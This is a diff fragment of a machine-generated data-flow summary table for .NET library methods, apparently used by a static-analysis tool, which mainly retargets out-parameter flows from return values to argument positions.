System.Buffers;SequenceReader;TryReadToAny;(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean);Argument[this];ReturnValue;taint;df-generated | -| System.Buffers;SequenceReader;TryReadToAny;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadToAny;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;ReturnValue.Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryPeek;(System.Int64,T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[1];value;dfc-generated | +| System.Buffers;SequenceReader;TryPeek;(T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0];value;dfc-generated | +| System.Buffers;SequenceReader;TryRead;(T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0];value;dfc-generated | +| System.Buffers;SequenceReader;TryReadExact;(System.Int32,System.Buffers.ReadOnlySequence);Argument[this];Argument[1];taint;df-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean);Argument[this];Argument[0];taint;df-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,T,System.Boolean);Argument[this];Argument[0];taint;df-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,T,T,System.Boolean);Argument[this];Argument[0];taint;df-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadToAny;(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean);Argument[this];Argument[0];taint;df-generated | +| System.Buffers;SequenceReader;TryReadToAny;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadToAny;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;Argument[0].Element;value;dfc-generated | | System.Buffers;SequenceReader;get_UnreadSequence;();Argument[this];ReturnValue;taint;df-generated | | System.Buffers;SequenceReader;get_UnreadSpan;();Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadBigEndian;(System.Buffers.SequenceReader,System.Int16);Argument[0];ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadBigEndian;(System.Buffers.SequenceReader,System.Int32);Argument[0];ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadBigEndian;(System.Buffers.SequenceReader,System.Int64);Argument[0];ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadLittleEndian;(System.Buffers.SequenceReader,System.Int16);Argument[0];ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadLittleEndian;(System.Buffers.SequenceReader,System.Int32);Argument[0];ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadLittleEndian;(System.Buffers.SequenceReader,System.Int64);Argument[0];ReturnValue;value;dfc-generated | | System.Buffers;SpanAction;BeginInvoke;(System.Span,TArg,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.CodeDom.Compiler;CodeCompiler;FromDom;(System.CodeDom.Compiler.CompilerParameters,System.CodeDom.CodeCompileUnit);Argument[1];Argument[0];taint;df-generated | | System.CodeDom.Compiler;CodeCompiler;FromDom;(System.CodeDom.Compiler.CompilerParameters,System.CodeDom.CodeCompileUnit);Argument[1];Argument[this];taint;df-generated | @@ -4647,14 +4632,6 @@ | System.CodeDom.Compiler;CompilerParameters;CompilerParameters;(System.String[],System.String,System.Boolean);Argument[0].Element;Argument[this].Property[System.CodeDom.Compiler.CompilerParameters.ReferencedAssemblies].Element;value;dfc-generated | | System.CodeDom.Compiler;CompilerParameters;CompilerParameters;(System.String[],System.String,System.Boolean);Argument[1];Argument[this].Property[System.CodeDom.Compiler.CompilerParameters.OutputAssembly];value;dfc-generated | | System.CodeDom.Compiler;CompilerResults;CompilerResults;(System.CodeDom.Compiler.TempFileCollection);Argument[0];Argument[this].Property[System.CodeDom.Compiler.CompilerResults.TempFiles];value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.IntPtr,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[3];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.IntPtr,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[4];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.IntPtr,System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[4];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.IntPtr,System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[5];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[2];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[3];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[3];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[4];ReturnValue;value;dfc-generated | | System.CodeDom.Compiler;GeneratedCodeAttribute;GeneratedCodeAttribute;(System.String,System.String);Argument[0];Argument[this].SyntheticField[System.CodeDom.Compiler.GeneratedCodeAttribute._tool];value;dfc-generated | | System.CodeDom.Compiler;GeneratedCodeAttribute;GeneratedCodeAttribute;(System.String,System.String);Argument[1];Argument[this].SyntheticField[System.CodeDom.Compiler.GeneratedCodeAttribute._version];value;dfc-generated | | System.CodeDom.Compiler;GeneratedCodeAttribute;get_Tool;();Argument[this].SyntheticField[System.CodeDom.Compiler.GeneratedCodeAttribute._tool];ReturnValue;value;dfc-generated | @@ -5001,8 +4978,8 @@ | System.Collections.Concurrent;ConcurrentBag;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | | System.Collections.Concurrent;ConcurrentBag;ToArray;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Concurrent;ConcurrentBag;TryAdd;(T);Argument[0];Argument[this].Element;value;dfc-generated | -| System.Collections.Concurrent;ConcurrentBag;TryPeek;(T);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Concurrent;ConcurrentBag;TryTake;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Concurrent;ConcurrentBag;TryPeek;(T);Argument[this];Argument[0];taint;df-generated | +| System.Collections.Concurrent;ConcurrentBag;TryTake;(T);Argument[this];Argument[0];taint;df-generated | | System.Collections.Concurrent;ConcurrentDictionary;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Collections.Concurrent;ConcurrentDictionary;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | | System.Collections.Concurrent;ConcurrentDictionary;AddOrUpdate;(TKey,System.Func,System.Func);Argument[0];Argument[1].Parameter[0];value;dfc-generated | @@ -5063,18 +5040,18 @@ | System.Collections.Concurrent;ConcurrentDictionary;GetOrAdd;(TKey,System.Func,TArg);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Concurrent;ConcurrentDictionary;GetOrAdd;(TKey,System.Func,TArg);Argument[2];Argument[1].Parameter[1];value;dfc-generated | | System.Collections.Concurrent;ConcurrentDictionary;GetOrAdd;(TKey,System.Func,TArg);Argument[2];Argument[1].Parameter[1];value;hq-generated | -| System.Collections.Concurrent;ConcurrentDictionary;TryGetAlternateLookup;(System.Collections.Concurrent.ConcurrentDictionary+AlternateLookup);Argument[this];ReturnValue.Property[System.Collections.Concurrent.ConcurrentDictionary`2+AlternateLookup`1.Dictionary];value;dfc-generated | +| System.Collections.Concurrent;ConcurrentDictionary;TryGetAlternateLookup;(System.Collections.Concurrent.ConcurrentDictionary+AlternateLookup);Argument[this];Argument[0].Property[System.Collections.Concurrent.ConcurrentDictionary`2+AlternateLookup`1.Dictionary];value;dfc-generated | | System.Collections.Concurrent;ConcurrentDictionary;get_Comparer;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Concurrent;ConcurrentDictionary;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | | System.Collections.Concurrent;ConcurrentDictionary;get_Values;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element;value;manual | | System.Collections.Concurrent;ConcurrentQueue;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | | System.Collections.Concurrent;ConcurrentStack;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | | System.Collections.Concurrent;ConcurrentStack;ConcurrentStack;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];value;dfc-generated | -| System.Collections.Concurrent;ConcurrentStack;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];ReturnValue;value;dfc-generated | -| System.Collections.Concurrent;ConcurrentStack;TryPop;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];ReturnValue;value;dfc-generated | +| System.Collections.Concurrent;ConcurrentStack;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];Argument[0];value;dfc-generated | +| System.Collections.Concurrent;ConcurrentStack;TryPop;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];Argument[0];value;dfc-generated | | System.Collections.Concurrent;ConcurrentStack;TryPopRange;(T[]);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];Argument[0].Element;value;dfc-generated | | System.Collections.Concurrent;ConcurrentStack;TryPopRange;(T[],System.Int32,System.Int32);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];Argument[0].Element;value;dfc-generated | -| System.Collections.Concurrent;ConcurrentStack;TryTake;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];ReturnValue;value;dfc-generated | +| System.Collections.Concurrent;ConcurrentStack;TryTake;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];Argument[0];value;dfc-generated | | System.Collections.Concurrent;IProducerConsumerCollection;CopyTo;(T[],System.Int32);Argument[this].Element;Argument[0].Element;value;manual | | System.Collections.Concurrent;OrderablePartitioner;GetDynamicPartitions;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Concurrent;Partitioner;Create;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | @@ -5093,7 +5070,7 @@ | System.Collections.Frozen;FrozenDictionary+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenDictionary+Enumerator;get_Current;();Argument[this];ReturnValue;taint;dfc-generated | | System.Collections.Frozen;FrozenDictionary;GetAlternateLookup;();Argument[this];ReturnValue.Property[System.Collections.Frozen.FrozenDictionary`2+AlternateLookup`1.Dictionary];value;dfc-generated | -| System.Collections.Frozen;FrozenDictionary;TryGetAlternateLookup;(System.Collections.Frozen.FrozenDictionary+AlternateLookup);Argument[this];ReturnValue.Property[System.Collections.Frozen.FrozenDictionary`2+AlternateLookup`1.Dictionary];value;dfc-generated | +| System.Collections.Frozen;FrozenDictionary;TryGetAlternateLookup;(System.Collections.Frozen.FrozenDictionary+AlternateLookup);Argument[this];Argument[0].Property[System.Collections.Frozen.FrozenDictionary`2+AlternateLookup`1.Dictionary];value;dfc-generated | | System.Collections.Frozen;FrozenDictionary;get_Keys;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenDictionary;get_Values;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet;Create;(System.Collections.Generic.IEqualityComparer,System.ReadOnlySpan);Argument[1];ReturnValue;taint;df-generated | @@ -5101,22 +5078,22 @@ | System.Collections.Frozen;FrozenSet;ToFrozenSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;Contains;(TAlternate);Argument[0];Argument[this];taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[0];Argument[this];taint;df-generated | -| System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[this];Argument[1];taint;df-generated | | System.Collections.Frozen;FrozenSet+Enumerator;get_Current;();Argument[this].Property[System.Collections.Frozen.FrozenSet`1+Enumerator.Current];ReturnValue;value;df-generated | | System.Collections.Frozen;FrozenSet+Enumerator;get_Current;();Argument[this].Property[System.Collections.Frozen.FrozenSet`1+Enumerator.Current];ReturnValue;value;dfc-generated | | System.Collections.Frozen;FrozenSet+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet+Enumerator;get_Current;();Argument[this];ReturnValue;taint;dfc-generated | | System.Collections.Frozen;FrozenSet;CopyTo;(System.Span);Argument[this].Property[System.Collections.Frozen.FrozenSet`1.Items].Element;Argument[0].Element;value;dfc-generated | | System.Collections.Frozen;FrozenSet;GetAlternateLookup;();Argument[this];ReturnValue.Property[System.Collections.Frozen.FrozenSet`1+AlternateLookup`1.Set];value;dfc-generated | -| System.Collections.Frozen;FrozenSet;TryGetAlternateLookup;(System.Collections.Frozen.FrozenSet+AlternateLookup);Argument[this];ReturnValue.Property[System.Collections.Frozen.FrozenSet`1+AlternateLookup`1.Set];value;dfc-generated | -| System.Collections.Frozen;FrozenSet;TryGetValue;(T,T);Argument[this].Property[System.Collections.Frozen.FrozenSet`1.Items].Element;ReturnValue;value;dfc-generated | +| System.Collections.Frozen;FrozenSet;TryGetAlternateLookup;(System.Collections.Frozen.FrozenSet+AlternateLookup);Argument[this];Argument[0].Property[System.Collections.Frozen.FrozenSet`1+AlternateLookup`1.Set];value;dfc-generated | +| System.Collections.Frozen;FrozenSet;TryGetValue;(T,T);Argument[this].Property[System.Collections.Frozen.FrozenSet`1.Items].Element;Argument[1];value;dfc-generated | | System.Collections.Frozen;FrozenSet;get_Items;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Generic;CollectionExtensions;AsReadOnly;(System.Collections.Generic.IList);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Generic;CollectionExtensions;AsReadOnly;(System.Collections.Generic.IDictionary);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;dfc-generated | | System.Collections.Generic;CollectionExtensions;AsReadOnly;(System.Collections.Generic.IDictionary);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;dfc-generated | | System.Collections.Generic;CollectionExtensions;CopyTo;(System.Collections.Generic.List,System.Span);Argument[0].Element;Argument[1];taint;df-generated | | System.Collections.Generic;CollectionExtensions;GetValueOrDefault;(System.Collections.Generic.IReadOnlyDictionary,TKey,TValue);Argument[2];ReturnValue;value;dfc-generated | -| System.Collections.Generic;CollectionExtensions;Remove;(System.Collections.Generic.IDictionary,TKey,TValue);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Generic;CollectionExtensions;Remove;(System.Collections.Generic.IDictionary,TKey,TValue);Argument[0].Element;Argument[2];taint;df-generated | | System.Collections.Generic;CollectionExtensions;TryAdd;(System.Collections.Generic.IDictionary,TKey,TValue);Argument[1];Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;dfc-generated | | System.Collections.Generic;CollectionExtensions;TryAdd;(System.Collections.Generic.IDictionary,TKey,TValue);Argument[2];Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;dfc-generated | | System.Collections.Generic;Comparer;Create;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -5161,7 +5138,7 @@ | System.Collections.Generic;HashSet;HashSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0].Element;Argument[this];taint;df-generated | | System.Collections.Generic;HashSet;HashSet;(System.Collections.Generic.IEqualityComparer);Argument[0];Argument[this].SyntheticField[System.Collections.Generic.HashSet`1._comparer];value;dfc-generated | | System.Collections.Generic;HashSet;RemoveWhere;(System.Predicate);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Collections.Generic;HashSet;TryGetValue;(T,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;HashSet;TryGetValue;(T,T);Argument[this];Argument[1];taint;df-generated | | System.Collections.Generic;HashSet;get_Comparer;();Argument[this].SyntheticField[System.Collections.Generic.HashSet`1._comparer];ReturnValue;value;dfc-generated | | System.Collections.Generic;ICollection;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Generic;ICollection;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | @@ -5180,7 +5157,8 @@ | System.Collections.Generic;ISet;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Generic;KeyValuePair;Create;(TKey,TValue);Argument[0];ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Key];value;dfc-generated | | System.Collections.Generic;KeyValuePair;Create;(TKey,TValue);Argument[1];ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Value];value;dfc-generated | -| System.Collections.Generic;KeyValuePair;Deconstruct;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;KeyValuePair;Deconstruct;(TKey,TValue);Argument[this];Argument[0];taint;df-generated | +| System.Collections.Generic;KeyValuePair;Deconstruct;(TKey,TValue);Argument[this];Argument[1];taint;df-generated | | System.Collections.Generic;KeyValuePair;KeyValuePair;(TKey,TValue);Argument[0];Argument[this].Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Collections.Generic;KeyValuePair;KeyValuePair;(TKey,TValue);Argument[1];Argument[this].Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | | System.Collections.Generic;KeyValuePair;get_Key;();Argument[this];ReturnValue;taint;df-generated | @@ -5270,8 +5248,8 @@ | System.Collections.Generic;OrderedDictionary;OrderedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;dfc-generated | | System.Collections.Generic;OrderedDictionary;OrderedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;dfc-generated | | System.Collections.Generic;OrderedDictionary;OrderedDictionary;(System.Int32,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[this].SyntheticField[System.Collections.Generic.OrderedDictionary`2._comparer];value;dfc-generated | -| System.Collections.Generic;OrderedDictionary;Remove;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Generic;OrderedDictionary;TryGetValue;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;OrderedDictionary;Remove;(TKey,TValue);Argument[this];Argument[1];taint;df-generated | +| System.Collections.Generic;OrderedDictionary;TryGetValue;(TKey,TValue);Argument[this];Argument[1];taint;df-generated | | System.Collections.Generic;OrderedDictionary;get_Comparer;();Argument[this].SyntheticField[System.Collections.Generic.OrderedDictionary`2._comparer];ReturnValue;value;dfc-generated | | System.Collections.Generic;OrderedDictionary;get_Keys;();Argument[this].Property[System.Collections.Generic.OrderedDictionary`2.Keys];ReturnValue;value;dfc-generated | | System.Collections.Generic;OrderedDictionary;get_Values;();Argument[this].Property[System.Collections.Generic.OrderedDictionary`2.Values];ReturnValue;value;dfc-generated | @@ -5286,9 +5264,12 @@ | System.Collections.Generic;PriorityQueue;PriorityQueue;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[1];Argument[this].SyntheticField[System.Collections.Generic.PriorityQueue`2._comparer];value;dfc-generated | | System.Collections.Generic;PriorityQueue;PriorityQueue;(System.Int32,System.Collections.Generic.IComparer);Argument[1];Argument[this].SyntheticField[System.Collections.Generic.PriorityQueue`2._comparer];value;dfc-generated | | System.Collections.Generic;PriorityQueue;Remove;(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[3];taint;df-generated | -| System.Collections.Generic;PriorityQueue;Remove;(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Generic;PriorityQueue;TryDequeue;(TElement,TPriority);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Generic;PriorityQueue;TryPeek;(TElement,TPriority);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;PriorityQueue;Remove;(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer);Argument[this];Argument[1];taint;df-generated | +| System.Collections.Generic;PriorityQueue;Remove;(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer);Argument[this];Argument[2];taint;df-generated | +| System.Collections.Generic;PriorityQueue;TryDequeue;(TElement,TPriority);Argument[this];Argument[0];taint;df-generated | +| System.Collections.Generic;PriorityQueue;TryDequeue;(TElement,TPriority);Argument[this];Argument[1];taint;df-generated | +| System.Collections.Generic;PriorityQueue;TryPeek;(TElement,TPriority);Argument[this];Argument[0];taint;df-generated | +| System.Collections.Generic;PriorityQueue;TryPeek;(TElement,TPriority);Argument[this];Argument[1];taint;df-generated | | System.Collections.Generic;PriorityQueue;get_Comparer;();Argument[this].SyntheticField[System.Collections.Generic.PriorityQueue`2._comparer];ReturnValue;value;dfc-generated | | System.Collections.Generic;Queue+Enumerator;get_Current;();Argument[this].Property[System.Collections.Generic.Queue`1+Enumerator.Current];ReturnValue;value;df-generated | | System.Collections.Generic;Queue+Enumerator;get_Current;();Argument[this].Property[System.Collections.Generic.Queue`1+Enumerator.Current];ReturnValue;value;dfc-generated | @@ -5301,8 +5282,8 @@ | System.Collections.Generic;Queue;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.Queue`1+Enumerator.Current];value;manual | | System.Collections.Generic;Queue;Peek;();Argument[this].Element;ReturnValue;value;manual | | System.Collections.Generic;Queue;Queue;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element;value;dfc-generated | -| System.Collections.Generic;Queue;TryDequeue;(T);Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element;ReturnValue;value;dfc-generated | -| System.Collections.Generic;Queue;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element;ReturnValue;value;dfc-generated | +| System.Collections.Generic;Queue;TryDequeue;(T);Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element;Argument[0];value;dfc-generated | +| System.Collections.Generic;Queue;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element;Argument[0];value;dfc-generated | | System.Collections.Generic;SortedDictionary+Enumerator;get_Current;();Argument[this].Property[System.Collections.Generic.SortedDictionary`2+Enumerator.Current].Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Key];value;df-generated | | System.Collections.Generic;SortedDictionary+Enumerator;get_Current;();Argument[this].Property[System.Collections.Generic.SortedDictionary`2+Enumerator.Current].Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Key];value;dfc-generated | | System.Collections.Generic;SortedDictionary+Enumerator;get_Current;();Argument[this].Property[System.Collections.Generic.SortedDictionary`2+Enumerator.Current].Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Value];value;df-generated | @@ -5343,7 +5324,7 @@ | System.Collections.Generic;SortedList;SortedList;(System.Collections.Generic.IDictionary);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | | System.Collections.Generic;SortedList;SortedList;(System.Collections.Generic.IDictionary,System.Collections.Generic.IComparer);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Collections.Generic;SortedList;SortedList;(System.Collections.Generic.IDictionary,System.Collections.Generic.IComparer);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | -| System.Collections.Generic;SortedList;TryGetValue;(TKey,TValue);Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.values].Element;ReturnValue;value;dfc-generated | +| System.Collections.Generic;SortedList;TryGetValue;(TKey,TValue);Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.values].Element;Argument[1];value;dfc-generated | | System.Collections.Generic;SortedList;get_Comparer;();Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.comparer];ReturnValue;value;dfc-generated | | System.Collections.Generic;SortedList;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | | System.Collections.Generic;SortedList;get_Values;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element;value;manual | @@ -5363,7 +5344,7 @@ | System.Collections.Generic;SortedSet;SortedSet;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;SortedSet;SymmetricExceptWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;dfc-generated | | System.Collections.Generic;SortedSet;SymmetricExceptWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item];value;dfc-generated | -| System.Collections.Generic;SortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item];ReturnValue;value;dfc-generated | +| System.Collections.Generic;SortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item];Argument[1];value;dfc-generated | | System.Collections.Generic;SortedSet;UnionWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;dfc-generated | | 